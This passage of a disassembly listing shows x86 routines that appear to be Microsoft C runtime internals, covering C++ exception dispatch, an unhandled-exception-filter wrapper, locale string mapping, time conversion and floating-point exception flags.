		push	dword ptr [ebp-14h]
		call	sub_4297C4
		pop	ecx
		retn
sub_42974E	endp


; =============== S U B	R O U T	I N E =======================================



sub_429758	proc near		; DATA XREF: .text:0042F5CCo
		mov	esp, [ebp-18h]
		and	dword ptr [ebp-2Ch], 0
		push	0FFFFFFFFh
		lea	eax, [ebp-10h]
		push	eax
		call	sub_4239BA
		pop	ecx
		pop	ecx
		xor	eax, eax
		jmp	short loc_42973F
sub_429758	endp

; ---------------------------------------------------------------------------


loc_429770:				; DATA XREF: .text:0042F5C0o
		mov	esi, [ebp+0Ch]
		mov	edi, [ebp+8]

; =============== S U B	R O U T	I N E =======================================



sub_429776	proc near		; CODE XREF: sub_4296A9+8Ep
		mov	eax, [ebp-28h]
		mov	[esi-4], eax
		call	sub_42599D
		mov	ecx, [ebp-1Ch]
		mov	[eax+6Ch], ecx
		call	sub_42599D
		mov	ecx, [ebp-20h]
		mov	[eax+70h], ecx
		cmp	dword ptr [edi], 0E06D7363h
		jnz	short locret_4297C3
		cmp	dword ptr [edi+10h], 3
		jnz	short locret_4297C3
		cmp	dword ptr [edi+14h], 19930520h
		jnz	short locret_4297C3
		cmp	dword ptr [ebp-24h], 0
		jnz	short locret_4297C3
		cmp	dword ptr [ebp-2Ch], 0
		jz	short locret_4297C3
		call	sub_423A22
		push	eax
		push	edi
		call	sub_4299B2
		pop	ecx
		pop	ecx

locret_4297C3:				; CODE XREF: sub_429776+22j
					; sub_429776+28j ...
		retn
sub_429776	endp


; =============== S U B	R O U T	I N E =======================================



sub_4297C4	proc near		; CODE XREF: sub_42974E+3p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_4297EB
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_4297EB
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_4297EB
		cmp	dword ptr [eax+1Ch], 0
		jnz	short loc_4297EB
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_4297EB:				; CODE XREF: sub_4297C4+Cj
					; sub_4297C4+12j ...
		xor	eax, eax
		retn
sub_4297C4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4297EE	proc near		; CODE XREF: sub_42962E+1Ap

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_42F5D0
		push	offset sub_424B30
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+arg_8]
		mov	eax, [ecx+4]
		test	eax, eax
		jz	loc_429997
		cmp	byte ptr [eax+8], 0
		jz	loc_429997
		mov	eax, [ecx+8]
		test	eax, eax
		jz	loc_429997
		mov	edx, [ebp+arg_4]
		lea	edi, [eax+edx+0Ch]
		and	[ebp+var_4], 0
		test	byte ptr [ecx],	8
		jz	short loc_42988B
		mov	esi, [ebp+arg_0]
		push	1
		push	dword ptr [esi+18h]
		call	sub_42CF66
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_42998E
		push	1
		push	edi
		call	sub_42CF82
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_42998E
		mov	eax, [esi+18h]
		mov	[edi], eax
		mov	ecx, [ebp+arg_C]
		add	ecx, 8
		push	ecx


loc_42987C:				; CODE XREF: sub_4297EE+F5j
		push	eax
		call	sub_429A19
		pop	ecx
		pop	ecx
		mov	[edi], eax
		jmp	loc_429993
; ---------------------------------------------------------------------------


loc_42988B:				; CODE XREF: sub_4297EE+57j
		mov	esi, [ebp+arg_C]
		test	byte ptr [esi],	1
		jz	short loc_4298E5
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		call	sub_42CF66
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_42998E
		push	1
		push	edi
		call	sub_42CF82
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_42998E
		push	dword ptr [esi+14h]
		push	dword ptr [ebx+18h]
		push	edi
		call	sub_423C20
		add	esp, 0Ch
		cmp	dword ptr [esi+14h], 4
		jnz	loc_429993
		mov	eax, [edi]
		test	eax, eax
		jz	loc_429993
		add	esi, 8
		push	esi
		jmp	short loc_42987C
; ---------------------------------------------------------------------------


loc_4298E5:				; CODE XREF: sub_4297EE+A3j
		cmp	dword ptr [esi+18h], 0
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		jnz	short loc_42992D
		call	sub_42CF66
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_42998E
		push	1
		push	edi
		call	sub_42CF82
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_42998E
		push	dword ptr [esi+14h]
		add	esi, 8
		push	esi
		push	dword ptr [ebx+18h]
		call	sub_429A19
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		call	sub_423C20
		add	esp, 0Ch
		jmp	short loc_429993
; ---------------------------------------------------------------------------


loc_42992D:				; CODE XREF: sub_4297EE+103j
		call	sub_42CF66
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_42998E
		push	1
		push	edi
		call	sub_42CF82
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_42998E
		push	dword ptr [esi+18h]
		call	sub_42CF9E
		pop	ecx
		test	eax, eax
		jz	short loc_42998E
		test	byte ptr [esi],	4
		jz	short loc_429974
		push	1
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_429A19
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_4236CB
		jmp	short loc_429993
; ---------------------------------------------------------------------------


loc_429974:				; CODE XREF: sub_4297EE+168j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_429A19
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_4236C4
		jmp	short loc_429993
; ---------------------------------------------------------------------------


loc_42998E:				; CODE XREF: sub_4297EE+6Aj
					; sub_4297EE+7Cj ...
		call	sub_429AED


loc_429993:				; CODE XREF: sub_4297EE+98j
					; sub_4297EE+E1j ...
		or	[ebp+var_4], 0FFFFFFFFh


loc_429997:				; CODE XREF: sub_4297EE+2Ej
					; sub_4297EE+38j ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4297EE	endp

; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_429A8C

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4299B2	proc near		; CODE XREF: sub_4292C0+17Cp
					; sub_429776+46p

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_42F5E0
		push	offset sub_424B30
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jz	short loc_4299F9
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short loc_4299F9
		and	[ebp+var_4], 0
		push	ecx
		push	dword ptr [eax+18h]
		call	sub_4236C4
		or	[ebp+var_4], 0FFFFFFFFh


loc_4299F9:				; CODE XREF: sub_4299B2+2Aj
					; sub_4299B2+34j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4299B2	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		cmp	[ebp+0Ch], al
		setnz	al
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_429A8C

; =============== S U B	R O U T	I N E =======================================



sub_429A19	proc near		; CODE XREF: sub_4297EE+8Fp
					; sub_4297EE+12Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [ecx]
		mov	edx, [ecx+4]
		add	eax, esi
		test	edx, edx
		jl	short loc_429A3A
		mov	esi, [edx+esi]
		mov	ecx, [ecx+8]
		mov	ecx, [esi+ecx]
		add	ecx, edx
		add	eax, ecx


loc_429A3A:				; CODE XREF: sub_429A19+12j
		pop	esi
		retn
sub_429A19	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429A40	proc near		; CODE XREF: sub_423757+40p
					; sub_42957A+5Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	ecx
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebp
		push	[ebp+arg_8]
		mov	ecx, [ebp+arg_8]
		mov	ebp, [ebp+var_4]
		call	sub_423A45
		push	esi
		push	edi
		call	eax
		pop	edi
		pop	esi
		mov	ebx, ebp
		pop	ebp
		mov	ecx, [ebp+arg_8]
		push	ebp
		mov	ebp, ebx
		cmp	ecx, 100h
		jnz	short loc_429A7F
		mov	ecx, 2


loc_429A7F:				; CODE XREF: sub_429A40+38j
		push	ecx
		call	sub_423A45
		pop	ebp
		pop	ecx
		pop	ebx
		leave
		retn	0Ch
sub_429A40	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429A8C	proc near		; CODE XREF: sub_4292C0:loc_42946Ej
					; sub_429618:loc_429629j ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0042CFB6 SIZE 00000017 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_42F5F0
		push	offset sub_424B30
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	esi, esi
		mov	[ebp+var_4], esi
		call	sub_42599D
		cmp	[eax+60h], esi
		jz	short loc_429ADF
		mov	[ebp+var_4], 1
		call	sub_42599D
		call	dword ptr [eax+60h]
		mov	[ebp+var_4], esi
		jmp	short loc_429ADF
; ---------------------------------------------------------------------------


loc_429AD4:				; DATA XREF: .text:0042F600o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_429AD8:				; DATA XREF: .text:0042F604o
		mov	esp, [ebp+var_18]
		and	[ebp+var_4], 0


loc_429ADF:				; CODE XREF: sub_429A8C+32j
					; sub_429A8C+46j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_429AE8:				; DATA XREF: .text:0042F5F8o
		jmp	loc_42CFB6
sub_429A8C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429AED	proc near		; CODE XREF: sub_4238FB+23p
					; sub_4238FB:loc_423966p ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_42F608
		push	offset sub_424B30
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, off_44BB90
		test	eax, eax
		jz	short loc_429B35
		mov	[ebp+var_4], 1
		call	eax ; sub_429A8C
		jmp	short loc_429B31
; ---------------------------------------------------------------------------


loc_429B2A:				; DATA XREF: .text:0042F618o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_429B2E:				; DATA XREF: .text:0042F61Co
		mov	esp, [ebp+var_18]


loc_429B31:				; CODE XREF: sub_429AED+3Bj
		and	[ebp+var_4], 0


loc_429B35:				; CODE XREF: sub_429AED+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_429B3E:				; DATA XREF: .text:0042F610o
		jmp	sub_429A8C
sub_429AED	endp


; =============== S U B	R O U T	I N E =======================================



sub_429B43	proc near		; DATA XREF: sub_429B89o
					; .text:004493F0o ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_429B66
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_429B66
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_429B66
		jmp	sub_429A8C
; ---------------------------------------------------------------------------


loc_429B66:				; CODE XREF: sub_429B43+Dj
					; sub_429B43+13j ...
		mov	eax, dword_6314AC
		test	eax, eax
		jz	short loc_429B83
		push	eax
		call	sub_42CF9E
		test	eax, eax
		pop	ecx
		jz	short loc_429B83
		push	esi
		call	dword_6314AC
		jmp	short loc_429B85
; ---------------------------------------------------------------------------


loc_429B83:				; CODE XREF: sub_429B43+2Aj
					; sub_429B43+35j
		xor	eax, eax


loc_429B85:				; CODE XREF: sub_429B43+3Ej
		pop	esi
		retn	4
sub_429B43	endp


; =============== S U B	R O U T	I N E =======================================



sub_429B89	proc near		; DATA XREF: .text:0043202Co
		push	offset sub_429B43
		call	dword_42F1A8	; SetUnhandledExceptionFilter
		mov	dword_6314AC, eax
		retn
sub_429B89	endp


; =============== S U B	R O U T	I N E =======================================



sub_429B9A	proc near		; DATA XREF: .text:00432044o
		push	dword_6314AC
		call	dword_42F1A8	; SetUnhandledExceptionFilter
		retn
sub_429B9A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429BA7	proc near		; CODE XREF: sub_4240A0+C5p
					; sub_4240A0+F3p ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_42F628
		push	offset sub_424B30
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	edi, edi
		cmp	dword_6314B0, edi
		jnz	short loc_429C1D
		push	edi
		push	edi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_42F620
		mov	esi, 100h
		push	esi
		push	edi
		call	dword_42F1A0	; LCMapStringW
		test	eax, eax
		jz	short loc_429BFB
		mov	dword_6314B0, ebx
		jmp	short loc_429C1D
; ---------------------------------------------------------------------------


loc_429BFB:				; CODE XREF: sub_429BA7+4Aj
		push	edi
		push	edi
		push	ebx
		push	offset word_44D6A0
		push	esi
		push	edi
		call	dword_42F1A4	; LCMapStringA
		test	eax, eax
		jz	loc_429D35
		mov	dword_6314B0, 2


loc_429C1D:				; CODE XREF: sub_429BA7+2Ej
					; sub_429BA7+52j
		cmp	[ebp+arg_C], edi
		jle	short loc_429C32
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_42E53D
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax


loc_429C32:				; CODE XREF: sub_429BA7+79j
		mov	eax, dword_6314B0
		cmp	eax, 2
		jnz	short loc_429C59
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_42F1A4	; LCMapStringA
		jmp	loc_429D37
; ---------------------------------------------------------------------------


loc_429C59:				; CODE XREF: sub_429BA7+93j
		cmp	eax, 1
		jnz	loc_429D35
		cmp	[ebp+arg_18], edi
		jnz	short loc_429C6F
		mov	eax, dword_6314D8
		mov	[ebp+arg_18], eax


loc_429C6F:				; CODE XREF: sub_429BA7+BEj
		push	edi
		push	edi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_1C]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_18]
		call	dword_42F098	; MultiByteToWideChar
		mov	ebx, eax
		mov	[ebp+var_1C], ebx
		cmp	ebx, edi
		jz	loc_429D35
		mov	[ebp+var_4], edi
		lea	eax, [ebx+ebx]
		add	eax, 3
		and	al, 0FCh
		call	sub_4220C0
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_429CCA
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_24], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	ebx, [ebp+var_1C]


loc_429CCA:				; CODE XREF: sub_429BA7+10Ej
		cmp	[ebp+var_24], edi
		jz	short loc_429D35
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	1
		push	[ebp+arg_18]
		call	dword_42F098	; MultiByteToWideChar
		test	eax, eax
		jz	short loc_429D35
		push	edi
		push	edi
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_42F1A0	; LCMapStringW
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	short loc_429D35
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_429D49
		cmp	[ebp+arg_14], edi
		jz	loc_429DC4
		cmp	esi, [ebp+arg_14]
		jg	short loc_429D35
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_42F1A0	; LCMapStringW
		test	eax, eax
		jnz	loc_429DC4


loc_429D35:				; CODE XREF: sub_429BA7+66j
					; sub_429BA7+B5j ...
		xor	eax, eax


loc_429D37:				; CODE XREF: sub_429BA7+ADj
					; sub_429BA7+21Fj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_429D49:				; CODE XREF: sub_429BA7+160j
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_4220C0
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_20], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_429D7D
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]


loc_429D7D:				; CODE XREF: sub_429BA7+1C2j
		cmp	ebx, edi
		jz	short loc_429D35
		push	esi
		push	ebx
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_42F1A0	; LCMapStringW
		test	eax, eax
		jz	short loc_429D35
		cmp	[ebp+arg_14], edi
		push	edi
		push	edi
		jnz	short loc_429DA4
		push	edi
		push	edi
		jmp	short loc_429DAA
; ---------------------------------------------------------------------------


loc_429DA4:				; CODE XREF: sub_429BA7+1F7j
		push	[ebp+arg_14]
		push	[ebp+arg_10]


loc_429DAA:				; CODE XREF: sub_429BA7+1FBj
		push	esi
		push	ebx
		push	220h
		push	[ebp+arg_18]
		call	dword_42F0A4	; WideCharToMultiByte
		mov	esi, eax
		cmp	esi, edi
		jz	loc_429D35


loc_429DC4:				; CODE XREF: sub_429BA7+165j
					; sub_429BA7+188j
		mov	eax, esi
		jmp	loc_429D37
sub_429BA7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429DCB	proc near		; CODE XREF: sub_4241D4+C9p

var_24		= byte ptr -24h
var_1C		= dword	ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_0]
		sub	ebx, 76Ch
		cmp	ebx, 46h
		jl	loc_429E87
		cmp	ebx, 8Ah
		jg	loc_429E87
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	esi, dword_44C0F4[edi*4]
		add	esi, [ebp+arg_8]
		test	bl, 3
		jnz	short loc_429E0A
		cmp	edi, 2
		jle	short loc_429E0A
		inc	esi


loc_429E0A:				; CODE XREF: sub_429DCB+37j
					; sub_429DCB+3Cj
		call	sub_42D04A
		mov	eax, ebx
		lea	ecx, [ebx-1]
		imul	eax, 16Dh
		sar	ecx, 2
		mov	edx, esi
		mov	[ebp+var_8], esi
		add	edx, ecx
		mov	[ebp+var_10], ebx
		add	eax, edx
		mov	edx, [ebp+arg_14]
		lea	ecx, [eax+eax*2]
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_1C], eax
		lea	ecx, [eax+ecx*8]
		imul	ecx, 3Ch
		add	ecx, [ebp+arg_10]
		imul	ecx, 3Ch
		add	ecx, dword_44C010
		dec	edi
		cmp	[ebp+arg_18], 1
		mov	[ebp+var_14], edi
		pop	edi
		pop	esi
		lea	ecx, [ecx+edx+7C558180h]
		mov	[ebp+arg_0], ecx
		jz	short loc_429E7D
		cmp	[ebp+arg_18], 0FFFFFFFFh
		jnz	short loc_429E83
		cmp	dword_44C014, 0
		jz	short loc_429E83
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_42D2FF
		pop	ecx
		mov	ecx, [ebp+arg_0]
		test	eax, eax
		jz	short loc_429E83


loc_429E7D:				; CODE XREF: sub_429DCB+90j
		add	ecx, dword_44C018


loc_429E83:				; CODE XREF: sub_429DCB+96j
					; sub_429DCB+9Fj ...
		mov	eax, ecx
		jmp	short loc_429E8A
; ---------------------------------------------------------------------------


loc_429E87:				; CODE XREF: sub_429DCB+13j
					; sub_429DCB+1Fj
		or	eax, 0FFFFFFFFh


loc_429E8A:				; CODE XREF: sub_429DCB+BAj
		pop	ebx
		leave
		retn
sub_429DCB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_429E8D(int, double, int)

sub_429E8D	proc near		; CODE XREF: sub_4242B0+51p

var_1C		= qword	ptr -1Ch
var_14		= qword	ptr -14h
var_C		= qword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= qword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	dword_44C12C, 0
		jnz	short loc_429EC2
		push	[ebp+arg_C]	; int
		fld	[ebp+arg_4]
		push	ecx
		push	ecx		; double
		fstp	[esp+0Ch+var_C]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+14h+var_14]
		fld	[ebp+arg_4]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+1Ch+var_1C]
		push	[ebp+arg_0]	; int
		push	1		; int
		call	sub_42A443
		add	esp, 24h
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_429EC2:				; CODE XREF: sub_429E8D+Aj
		call	sub_426528
		push	0FFFFh
		mov	dword ptr [eax], 21h
		push	[ebp+arg_C]
		call	sub_42A6B8
		fld	[ebp+arg_4]
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_429E8D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_429EE1(int, int, double, double, int)

sub_429EE1	proc near		; CODE XREF: sub_4242B0:loc_424373p

var_74		= qword	ptr -74h
var_6C		= qword	ptr -6Ch
var_64		= qword	ptr -64h
var_5C		= dword	ptr -5Ch
var_58		= byte ptr -58h
var_20		= dword	ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= qword	ptr  10h
arg_10		= qword	ptr  18h
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	[ebp+arg_18]
		lea	eax, [ebp+arg_10]
		push	eax
		push	[ebp+arg_0]
		call	sub_42A22C
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_429F1F
		lea	eax, [ebp+arg_10]
		and	[ebp+var_20], 0FFFFFFFEh
		push	eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+arg_18]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_429F79
		add	esp, 18h


loc_429F1F:				; CODE XREF: sub_429EE1+1Aj
		push	[ebp+arg_0]
		call	sub_42A518
		cmp	dword_44C12C, 0
		pop	ecx
		jnz	short loc_429F5D
		test	eax, eax
		jz	short loc_429F5D
		push	[ebp+arg_18]	; int
		fld	[ebp+arg_10]
		push	ecx
		push	ecx		; double
		fstp	[esp+64h+var_64]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+6Ch+var_6C]
		fld	[ebp+arg_8]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+74h+var_74]
		push	[ebp+arg_4]	; int
		push	eax		; int
		call	sub_42A443
		add	esp, 24h
		leave
		retn
; ---------------------------------------------------------------------------


loc_429F5D:				; CODE XREF: sub_429EE1+4Ej
					; sub_429EE1+52j
		push	eax
		call	sub_42A4CB
		mov	[esp+5Ch+var_5C], 0FFFFh
		push	[ebp+arg_18]
		call	sub_42A6B8
		fld	[ebp+arg_10]
		pop	ecx
		pop	ecx
		leave
		retn
sub_429EE1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429F79	proc near		; CODE XREF: sub_429EE1+36p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		xor	eax, eax
		push	ebx
		push	esi
		mov	[ecx+4], eax
		mov	ecx, [ebp+arg_0]
		push	edi
		push	1
		mov	[ecx+8], eax
		mov	ecx, [ebp+arg_0]
		pop	ebx
		mov	[ecx+0Ch], eax
		mov	cl, byte ptr [ebp+arg_8]
		test	cl, 10h
		jz	short loc_429FAB
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Fh
		or	[eax+4], ebx


loc_429FAB:				; CODE XREF: sub_429F79+23j
		test	cl, 2
		jz	short loc_429FBE
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000093h
		or	dword ptr [eax+4], 2


loc_429FBE:				; CODE XREF: sub_429F79+35j
		test	cl, bl
		jz	short loc_429FD0
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000091h
		or	dword ptr [eax+4], 4


loc_429FD0:				; CODE XREF: sub_429F79+47j
		test	cl, 4
		jz	short loc_429FE3
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Eh
		or	dword ptr [eax+4], 8


loc_429FE3:				; CODE XREF: sub_429F79+5Aj
		test	cl, 8
		jz	short loc_429FF6
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000090h
		or	dword ptr [eax+4], 10h


loc_429FF6:				; CODE XREF: sub_429F79+6Dj
		mov	esi, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		push	2
		mov	ecx, [esi]
		mov	edx, [eax+8]
		not	ecx
		and	ecx, ebx
		and	edx, 0FFFFFFEFh
		shl	ecx, 4
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		and	ecx, 4
		shl	ecx, 1
		and	edx, 0FFFFFFF7h
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 1
		and	ecx, 4
		and	edx, 0FFFFFFFBh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 3
		and	ecx, edi
		and	edx, 0FFFFFFFDh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 5
		and	ecx, ebx
		and	edx, 0FFFFFFFEh
		or	ecx, edx
		mov	[eax+8], ecx
		call	sub_42A69B
		test	al, bl
		jz	short loc_42A07F
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 10h


loc_42A07F:				; CODE XREF: sub_429F79+FDj
		test	al, 4
		jz	short loc_42A08A
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 8


loc_42A08A:				; CODE XREF: sub_429F79+108j
		test	al, 8
		jz	short loc_42A095
